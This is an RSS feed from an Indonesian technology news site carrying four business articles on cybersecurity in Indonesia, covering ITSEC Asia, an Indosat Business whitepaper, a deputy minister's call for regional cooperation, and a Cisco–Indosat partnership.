<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>keamanan siber &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/keamanan-siber/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Fri, 05 Jun 2026 13:17:07 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>keamanan siber &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>ITSEC Asia Tegaskan Keamanan Siber sebagai Infrastruktur Strategis Indonesia</title>
		<link>https://nativzen.com/2026/06/04/itsec-asia-tegaskan-keamanan-siber-sebagai-infrastruktur-strategis-indonesia/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 06:49:00 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[itsec asia]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=29122</guid>

					<description><![CDATA[Tercatat, ada 182 serangan siber per detik di tengah gejolak global.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Ketika ketidakpastian ekonomi global memaksa perusahaan untuk meninjau ulang prioritas belanja teknologi, lanskap ancaman siber di Indonesia justru bergerak ke arah sebaliknya: semakin masif, semakin canggih dan semakin sulit diabaikan. </p>



<p>PT ITSEC Asia Tbk atau ITSEC Asia, perusahaan keamanan siber pertama yang tercatat di Bursa Efek Indonesia, melihat kondisi ini bukan sebagai hambatan, melainkan sebagai konfirmasi atas relevansi jangka panjang bisnisnya.</p>



<h4 class="wp-block-heading"><strong>Tekanan Global yang Memperburuk Permukaan Serangan</strong></h4>



<p>Gesekan ekonomi skala besar dari perang dagang hingga ketidakpastian tarif terbukti secara historis mengakselerasi aktivitas siber berbasis aktor negara. Pola ini sudah teramati sejak konflik dagang AS-Tiongkok tahun 2018, dan kini berulang dalam skala yang lebih luas. </p>



<p>Di tengah pembekuan anggaran IT di berbagai belahan dunia, pelaku ancaman tidak ikut terdampak resesi: mereka justru memanfaatkan celah yang terbuka akibat penghematan di sisi pertahanan.</p>



<p>Secara global, anggaran keamanan siber tumbuh hanya 4% rata-rata di 2025 separuh dari pertumbuhan tahun sebelumnya yang mencapai 8% didorong oleh tekanan inflasi dan ketidakpastian kebijakan tarif. </p>



<p>Namun di saat yang sama, total pengeluaran keamanan informasi dunia tetap diproyeksikan mencapai USD 213 miliar, menurut Gartner. Paradoks ini mengungkap satu realita penting: pasar tidak menyusut, hanya pemain kurang disiplin yang kehilangan porsi anggarannya.</p>



<p>Tren lain yang terbilang signifikan bagi investor adalah pergeseran ke arah &#8216;onshoring&#8217; keamanan siber didorong oleh kekhawatiran rantai pasok lintas batas yang diperparah oleh tarif. </p>



<p>Penyedia lokal, khususnya di pasar Asia Pasifik, mulai mengambil pangsa pasar dengan menawarkan solusi yang teroptimasi untuk kebutuhan regulasi dan kedaulatan data regional. Dalam konteks Indonesia, ITSEC Asia berada di posisi tunggal sebagai penerima manfaat utama dari tren ini.</p>



<p><strong>Angka-angka Penting:</strong></p>



<ul>
<li><strong>US$ 213 miliar:</strong> total belanja keamanan informasi global (Gartner, 2025)</li>



<li>54% organisasi besar menyebut kerentanan rantai pasok sebagai hambatan terbesar ketahanan siber (WEF, 2025)</li>



<li>Pemain lokal Asia Pasifik merebut pangsa pasar seiring meningkatnya preferensi solusi keamanan berkedaulatan lokal</li>
</ul>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="682" src="https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-1024x682.jpg" alt="" class="wp-image-29123" srcset="https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-1024x682.jpg 1024w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-300x200.jpg 300w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-768x512.jpg 768w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-370x247.jpg 370w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-270x180.jpg 270w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-570x380.jpg 570w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1-740x493.jpg 740w, https://nativzen.com/wp-content/uploads/2026/06/02-Slamet-Aji-Pamungkas-Deputi-Bidang-Keamanan-Siber-dan-Sandi-Perekonomian-BSSN-1.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Slamet Aji Pamungkas, Deputi Bidang Keamanan Siber dan Sandi Perekonomian BSSN.</figcaption></figure>



<h4 class="wp-block-heading"><strong>Indonesia: Kondisi Darurat Siber yang Tidak Bisa Diabaikan Pasar</strong></h4>



<p>Data terbaru dari Badan Siber dan Sandi Negara (BSSN) mencatat lebih dari 5,16 miliar anomali trafik di Indonesia sepanjang Januari hingga November 2025, setara hampir 182 percobaan serangan setiap detik.</p>



<p>Ini angka yang bukan sekadar statistik, melainkan cerminan kondisi pertempuran digital yang sedang berlangsung setiap hari. Indonesia kini menempati peringkat ke-12 di kawasan Asia Pasifik dalam hal tingkat aktivitas siber.</p>



<p>Disebutkan dalam data tersebut bahwa sektor keuangan, energi, telekomunikasi, dan pemerintahan menjadi target utama yang bersifat lintas industri. Oleh karena itu, hal ini penting untuk disikapi.</p>



<p>&#8220;Ancaman siber saat ini bukan lagi sekadar risiko teknologi, tetapi telah menjadi tantangan strategis yang dapat mempengaruhi keberlangsungan operasional berbagai sektor,&#8221; ujar Slamet Aji Pamungkas, Deputi Bidang Keamanan Siber dan Sandi Perekonomian BSSN.</p>



<p>Ia juga mengatakan bahwa tingginya aktivitas serangan di Indonesia menjadi pengingat bahwa keamanan siber perlu menjadi perhatian di tingkat pimpinan organisasi. Apalagi di tengah percepatan transformasi digital dan pemanfaatan AI di Indonesia.</p>



<p>&#8220;Setiap institusi perlu memperkuat ketahanan siber melalui kesiapan yang lebih matang, kolaborasi lintas sektor, serta investasi berkelanjutan pada teknologi, proses, dan sumber daya manusia,&#8221; tambah Slamet.</p>



<p>Menurut tim Threat Intelligence ITSEC Asia, ancaman yang berkembang paling cepat saat ini datang dari kelompok stealer malware, yang tidak lagi sekadar mencuri kata sandi tetapi juga cookies, session token, kredensial cloud, data browser, hingga akses ke aplikasi bisnis. </p>



<p>Ketika data tersebut jatuh ke tangan pelaku ancaman, akses yang dicuri dapat dimanfaatkan untuk melakukan account takeover, business e-mail compromise (BEC), penipuan, penyalahgunaan layanan cloud, hingga menjadi pintu masuk awal bagi serangan ransomware yang lebih besar. </p>



<p>Tren ini menunjukkan bahwa organisasi tidak lagi cukup berfokus pada pencegahan malware semata, tetapi harus memperlakukan pencurian kredensial dan akses digital sebagai risiko bisnis yang nyata.</p>



<p>Data BSSN sendiri menunjukkan bahwa 93,78% dari seluruh anomali trafik nasional pada 2025 berbasis malware. Pada saat yang sama, AI mulai dimanfaatkan oleh pelaku kejahatan siber untuk meningkatkan efektivitas rekayasa sosial dan phishing dalam skala yang jauh lebih besar.</p>



<p>Insiden nyata semakin memperkuat gambaran ini. Pada 2025, serangan siber menyasar beragam entitas, dari kementerian, lembaga penegak hukum, hingga platform perdagangan saham ritel. Tidak ada sektor yang imun. </p>



<p>Implementasi Undang-Undang Perlindungan Data Pribadi (UU PDP) dan RUU Keamanan dan Ketahanan Siber (RUU KKS) yang telah resmi masuk Prolegnas Prioritas 2026 semakin memperkuat tekanan regulasi terhadap seluruh pelaku ekonomi untuk meningkatkan postur keamanan mereka.</p>



<h4 class="wp-block-heading"><strong>Posisi ITSEC Asia: Satu-satunya Jawaban Lokal Berskala Nasional</strong></h4>



<p>Di sinilah posisi ITSEC Asia menjadi semakin relevan secara strategis. Sebagai satu-satunya perusahaan keamanan siber yang tercatat di Bursa Efek Indonesia, ITSEC Asia tidak sekadar menyediakan layanan keamanan tapi beroperasi sebagai lapisan pertahanan digital yang berdaulat.</p>



<p>ITSEC Asia tidak bergantung pada rantai pasok asing, dan telah membangun rekam jejak kepercayaan dengan pemerintah, sektor keuangan, dan infrastruktur kritis nasional selama lebih dari satu dekade.</p>



<p>Portofolio produk yang dikembangkan ITSEC Asia secara berkesinambungan dirancang untuk menjawab ancaman yang terus berevolusi. IntelliBroń Orion dan Aman menyediakan intelijen ancaman siber tingkat lanjut.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-1024x576.png" alt="" class="wp-image-29124" srcset="https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/06/Copy-of-Untitled-2026-06-05T200645.276-1.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Patrick Dannacher, Presiden Direktur ITSEC Asia.</figcaption></figure>



<p>Sementara, ITSEC AI Operations Center memposisikan perusahaan pada garis terdepan peluang pengadaan AI di sektor pemerintahan dan BUMN, pasar yang tengah tumbuh pesat seiring dengan agenda transformasi digital nasional.</p>



<p>Di sisi ekosistem, ITSEC Asia telah meluncurkan ITSEC Cyber and AI Academy sebagai mesin pengembangan talenta nasional, sebuah investasi jangka panjang yang mempererat hubungan perusahaan dengan ekosistem pendidikan, pemerintah, dan industri. </p>



<p>&#8220;Tekanan ekonomi global tidak menghentikan laju kejahatan siber, justru sebaliknya. Ketika anggaran pertahanan dibekukan dan kewaspadaan menurun, pelaku ancaman melihat peluang,&#8221; ujar Patrick Dannacher, Presiden Direktur ITSEC Asia.</p>



<p>Patrick Dannacher menambahkan bahwa Indonesia, dengan lebih dari 3,6 miliar serangan yang tercatat dalam setahun terakhir, berada dalam kondisi yang tidak lagi bisa ditangani dengan pendekatan reaktif.</p>



<p>&#8220;Kami membangun ITSEC Asia untuk momen seperti ini bukan sebagai respons terhadap krisis, melainkan sebagai infrastruktur yang sudah siap digunakan saat krisis tiba,&#8221; tambah Patrick Dannacher.</p>



<h4 class="wp-block-heading"><strong>Momentum Regulasi sebagai Katalis Pertumbuhan Jangka Menengah</strong></h4>



<p>Implementasi UU PDP yang terus diperkuat, pembahasan RUU Keamanan Siber yang masuk dalam agenda legislasi nasional 2025-2029, serta peta jalan AI nasional yang sedang dirampungkan Kementerian Komunikasi dan Digital semuanya bergerak ke arah yang sama.</p>



<p>Ini bertujuan meningkatkan kebutuhan struktural terhadap layanan keamanan siber profesional di seluruh lapisan ekonomi Indonesia. Bagi ITSEC Asia, ini bukan sekadar tailwind bisnis; ini adalah validasi regulasi terhadap model bisnis yang telah dijalankan perusahaan sejak awal berdirinya.</p>



<p>Keterlibatan aktif ITSEC Asia bersama Komdigi, BSSN, Bank Indonesia dan lembaga-lembaga negara lainnya menempatkan perusahaan tidak hanya sebagai penyedia solusi, tetapi sebagai mitra strategis dalam pembentukan arsitektur keamanan digital nasional. </p>



<p>Posisi ini sulit direplikasi oleh pemain asing yang tidak memiliki kedalaman pemahaman terhadap konteks regulasi, budaya, dan kebutuhan spesifik pasar Indonesia yang sedang berada pada momentum penting yang akan menentukan arah transformasi digital nasional. </p>



<p>&#8220;Kecepatan transformasi yang didorong oleh pemerintah dan sektor swasta membutuhkan pondasi keamanan yang setara kuatnya. ITSEC Asia hadir untuk memastikan bahwa pertumbuhan digital Indonesia tidak rapuh di bawahnya,&#8221; pungkas Patrick Dannacher.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Indosat Business Luncurkan Whitepaper Terkait Cybersecurity di Industri</title>
		<link>https://nativzen.com/2026/05/11/indosat-business-luncurkan-whitepaper-terkait-cybersecurity-di-industri/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 11 May 2026 08:56:06 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[indosat]]></category>
		<category><![CDATA[indosat business]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[whitepaper]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=28555</guid>

					<description><![CDATA[Risiko ancaman siber berkembang dengan skala dan kompleksitas yang semakin tinggi.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Indonesia tengah memasuki fase baru ekonomi digital. Nilai ekonomi<br>digital nasional diproyeksikan mencapai US$ 340 miliar pada 2030, didorong oleh percepatan<br>adopsi AI, cloud, IoT, fintech, dan sistem digital lintas industri. </p>



<p>Namun di balik pertumbuhan tersebut, risiko ancaman siber berkembang dengan skala dan kompleksitas yang semakin tinggi. Ditambah lagi, Indonesia saat ini sedang memasuki fase baru ekonomi digital.</p>



<p>Sebagai mitra transformasi digital enterprise di berbagai sektor industri, Indosat melalui Indosat Business melihat langsung bagaimana percepatan transformasi digital turut memperluas tantangan keamanan siber yang dihadapi perusahaan. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-1024x576.png" alt="" class="wp-image-28556" srcset="https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155024.254.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kebutuhan enterprise kini tidak lagi hanya sebatas konektivitas dan teknologi, tetapi juga kemampuan membangun ketahanan siber yang adaptif, terintegrasi, dan siap menghadapi ancaman modern.</p>



<p>Berangkat dari kebutuhan tersebut, Indosat Business meluncurkan whitepaper bertajuk <strong>“A Business-Centric Framework for Enterprise Cyber-Resilience”</strong> bersama pakar cybersecurity,<br>Dr. Ir. Charles Lim, M.Sc., B.Sc., CSAP, Security+, CySA+, ECDE, CND, CCSE, CTIA, CHFI, EDRP,<br>ECSA, ECSP, ECIH, CEH, CEI. </p>



<p>Whitepaper ini mengangkat fenomena <strong>“resilience gap”</strong>, yaitu kondisi ketika laju transformasi digital berkembang jauh lebih cepat atau lebih pesat dibanding kesiapan organisasi dalam membangun ketahanan siber.</p>



<p>“Indonesia sedang memasuki fase baru ekonomi digital, namun pertumbuhan digital juga harus diiringi dengan ketahanan siber yang memadai,&#8221; ujar Muhammad Buldansyah, Director &amp; Chief Business Officer Indosat Ooredoo Hutchison.,</p>



<p>Lebih lanjut, ia juga menguraikan bahwa hari ini, cyber resilience bukan lagi isu teknologi semata, tetapi fondasi kepercayaan dan keberlangsungan bisnis. Oleh karena itu, Indosat melihat kebutuhan akan pendekatan keamanan siber yang lebih strategis dan adaptif semakin mendesak.</p>



<p>&#8220;Kami bekerja sama dengan Dr. Charles Lim yang memiliki pengalaman panjang di bidang cybersecurity untuk menghadirkan perspektif yang lebih komprehensif mengenai tantangan dan kesiapan cyber resilience di Indonesia,&#8221; tambah Buldansyah.</p>



<p>Dr. Ir. Charles Lim, yang juga Deputy Head of Master IT program, Swiss German University mengatakan bahwa ancaman siber berkembang jauh lebih cepat dan semakin sulit dideteksi,<br>terutama dengan munculnya AI-enabled fraud dan deepfake. </p>



<p>&#8220;Organisasi perlu beralih dari pendekatan yang reaktif menuju cyber resilience yang lebih adaptif dan berkelanjutan.” Lanskap ancaman siber di Indonesia kini berkembang semakin kompleks seiring meningkatnya adopsi AI dan digitalisasi enterprise,&#8221; ungkap Dr. Ir. Charles Lim.</p>



<p>Whitepaper ini mencatat adanya peningkatan AI-related fraud yang terbilang besar, yakni mencapai hingga 1.550% di sektor fintech Indonesia, termasuk penggunaan deepfake dan AI voice impersonation untuk penipuan berbasis identitas. </p>



<p>Sementara itu, ancaman ransomware terhadap institusi strategis nasional juga terus meningkat, termasuk serangan terhadap pusat data nasional Indonesia pada 2024 yang mengganggu lebih dari 200 layanan publik.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-1024x576.png" alt="" class="wp-image-28557" srcset="https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/05/Copy-of-Untitled-2026-05-11T155306.809.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Besarnya eksposur risiko tersebut turut berdampak pada kesiapan enterprise. Cisco Cybersecurity Readiness Index 2025 menunjukkan hanya 11% organisasi di Indonesia yang dinilai siap menghadapi ancaman keamanan siber modern.</p>



<p>Juga tercatat, rata-rata kerugian akibat kebocoran data di Indonesia dapat mencapai sekitar Rp 15 miliar. Di sisi lain, implementasi UU Pelindungan Data Pribadi (UU PDP) juga mendorong organisasi memperkuat kemampuan monitoring dan respons keamanan siber secara real-time.</p>



<p>Selain membahas strategi seperti Zero Trust Architecture dan Human Firewall, whitepaper ini<br>juga mengulas tantangan ketahanan siber lintas sektor strategis Indonesia, termasuk finansial,<br>manufaktur, pemerintahan, dan pendidikan.</p>



<p>Melalui whitepaper ini, Indosat Business ingin mendorong perusahaan di Indonesia untuk melihat ketahanan siber sebagai bagian integral dari strategi transformasi digital dan daya saing bisnis jangka panjang. </p>



<p>Sebagai mitra transformasi digital enterprise, Indosat Business terus memperkuat perannya dalam membantu perusahaan membangun fondasi digital yang lebih aman, adaptif, dan terpercaya di era AI dan ekonomi digital.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Wamenkomdigi: Transformasi Digital dan Keamanan Siber Harus Berjalan Bersama</title>
		<link>https://nativzen.com/2025/10/25/wamenkomdigi-transformasi-digital-dan-keamanan-siber-harus-berjalan-bersama/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 25 Oct 2025 08:49:06 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[nezar patria]]></category>
		<category><![CDATA[transformasi digital]]></category>
		<category><![CDATA[wamenkomdigi]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=23612</guid>

					<description><![CDATA[Setiap negara perlu memperkuat sistem pertahanan digital dan kerja sama regional.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Kemajuan teknologi digital membuka peluang besar bagi pertumbuhan ekonomi dan kerja sama antarnegara di kawasan Asia Tenggara. Namun di sisi lain, tantangan di bidang keamanan siber juga semakin meningkat, sehingga setiap negara perlu memperkuat sistem pertahanan digital dan kerja sama regional.</p>



<p>“Transformasi digital dan keamanan siber harus berjalan beriringan, karena keduanya saling bergantung,” ujar Wamenkomdigi Nezar Patria dalam acara ERIA SOG Executive Roundtable on the Regional Cooperation on Technology and Security di Kantor ERIA, Jakarta Pusat, Rabu (15/10/2025), seperti dikutip dari website resmi Komdigi.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="668" height="376" src="https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria.png" alt="" class="wp-image-23614" srcset="https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria.png 668w, https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria-300x169.png 300w, https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria-370x208.png 370w, https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria-270x152.png 270w, https://nativzen.com/wp-content/uploads/2025/10/Wamenkomdigi-Nezar-Patria-570x321.png 570w" sizes="(max-width: 668px) 100vw, 668px" /></figure>



<p>Menurut Nezar, keamanan siber merupakan hal penting yang harus diperhatikan oleh seluruh negara di Asia Tenggara. Tanpa keamanan yang kuat, transformasi digital tidak akan berjalan lancar dan bisa mengganggu stabilitas kawasan.</p>



<h4 class="wp-block-heading">3 Fokus Utama Kerja Sama Regional</h4>



<p>Nezar menjelaskan ada tiga bidang penting yang perlu menjadi fokus bersama dalam memperkuat kolaborasi regional di Tanah Air. Pertama, memperkuat perlindungan infrastruktur penting dan kedaulatan data. </p>



<p>Ia menegaskan bahwa infrastruktur teknologi merupakan tulang punggung ekonomi digital Indonesia. Oleh karena itu, harus dilindungi dengan baik dari ancaman siber yang saat ini juga terus berkembang.</p>



<p>Kedua, membangun ketahanan regional terhadap serangan siber. Menurutnya, ancaman seperti misinformasi, disinformasi, dan serangan siber yang terkoordinasi tidak mengenal batas negara. Karena itu, diperlukan kerangka kerja yang kuat dan jelas untuk berbagi informasi antarnegara.</p>



<p>Ketiga, mendorong inovasi digital lokal dan kolaborasi industri. “Kita tidak boleh hanya menjadi konsumen pasif teknologi. Kita harus berperan aktif dalam menciptakan inovasi,” tegas Nezar. Perkuat Kolaborasi dan Investasi Strategis</p>



<p>Nezar juga mengajak para pelaku industri teknologi digital untuk menjalin kemitraan dan investasi strategis yang bisa memperkuat stabilitas nasional maupun regional. Langkah ini penting untuk mendorong pertumbuhan ekonomi dan memastikan kedaulatan digital di kawasan. </p>



<p>Ia berharap hasil diskusi dalam acara tersebut dapat diwujudkan dalam bentuk proyek konkret yang mempererat hubungan antara industri dan pembuat kebijakan. “Hasil strategis yang diharapkan adalah terbentuknya komunitas kerja sama keamanan jangka panjang,” tutup Nezar.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cisco dan Indosat Tingkatkan Keamanan Siber di Indonesia</title>
		<link>https://nativzen.com/2025/03/01/kolaborasi-cisco-dan-indosat-tingkatkan-keamanan-siber-di-indonesia/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 01 Mar 2025 10:09:41 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[indosat]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=16752</guid>

					<description><![CDATA[Melalui Lintasarta, Indosat mengumumkan kemitraan strategis dengan Cisco untuk meningkatkan keamanan siber di Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Cisco bersama Indosat Ooredoo Hucthison (Indosat atau IOH) mengumumkan kerja sama strategis untuk meningkatkan pertahanan siber bagi para pengelola bisnis di Indonesia. </p>



<p>Di tengah tren digitalisasi yang pesat, menjaga keamanan data dan sistem menjadi kunci utama dalam menjaga kelangsungan bisnis. Pesatnya adopsi AI juga menambah tantangan baru dalam menjaga kestabilan infrastruktur digital perusahaan. </p>



<p>Berdasarkan Cisco’s 2024 Cybersecurity Readiness Index, hanya 12% perusahaan di Indonesia yang memiliki tingkat kesiapan tinggi dalam menghadapi potensi serangan, menegaskan pentingnya memperkuat ketahanan sistem di seluruh sektor.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="682" src="https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-1024x682.jpeg" alt="" class="wp-image-16753" srcset="https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-1024x682.jpeg 1024w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-300x200.jpeg 300w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-768x512.jpeg 768w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-1536x1023.jpeg 1536w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-370x247.jpeg 370w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-270x180.jpeg 270w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-570x380.jpeg 570w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2-740x493.jpeg 740w, https://nativzen.com/wp-content/uploads/2025/03/Indosat-Group-x-Cisco-2.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading"><strong>Membangun Ketahanan Keamanan di Seluruh Indonesia</strong></h3>



<p>Indosat, melalui anak usahanya, Lintasarta, bersama Cisco menghadirkan strategi go-to-market yang menggabungkan keunggulan Cisco dalam jaringan dan keamanan dengan pemahaman mendalam Indosat terhadap kebutuhan digital nasional. </p>



<p>Kolaborasi ini dirancang untuk menyediakan solusi keamanan siber yang tepat sasaran, adaptif, dan relevan dengan dinamika industri saat ini. Sebagai bagian dari strategi ini, Indosat dan Cisco menawarkan rangkaian layanan komprehensif.</p>



<p>Ini mencakup konsultasi<em>,</em> manajemen servis, termasuk Firewall, Secure Service Edge (SSE), Extended Detection and Response (XDR), Multi-Factor Authentication (MFA), serta Splunk untuk analisis data dan pemantauan ancaman. </p>



<p>Solusi ini menjadikan pelanggan dapat mengantisipasi ancaman siber lebih dini, merespon cepat, dan memperoleh akses penuh untuk mengoptimalkan strategi keamanan sesuai kebutuhan bisnis. </p>



<p>Dengan XDR, pelanggan dapat memantau perangkat secara real-time untuk mendeteksi dan merespons ancaman siber, termasuk serangan tersembunyi. Sistem ini membantu pelaku bisnis dalam mengatasi ancaman dengan lebih cepat seraya menjaga kelancaran operasionalnya.</p>



<p>Sementara, Lintasarta akan mendirikan experience center sebagai ruang interaktif bagi pelanggan untuk mengeksplorasi berbagai use case dan memungkinkan pelanggan merasakan langsung penerapan solusi digital guna meningkatkan efisiensi dan ketahanan bisnis.</p>



<p>&#8220;Di era percepatan adopsi digital, keamanan siber menjadi fondasi utama dalam membangun ekosistem digital yang terpercaya,&#8221; ucap Vikram Sinha, President Director and CEO of Indosat Ooredoo Hutchison.</p>



<p>Memahami pentingnya hal ini, Vikram menambahkan bahwa Indosat berkolaborasi dengan Cisco untuk menghadirkan solusi keamanan cerdas yang melindungi berbagai sektor bisnis dari ancaman siber yang semakin kompleks.</p>



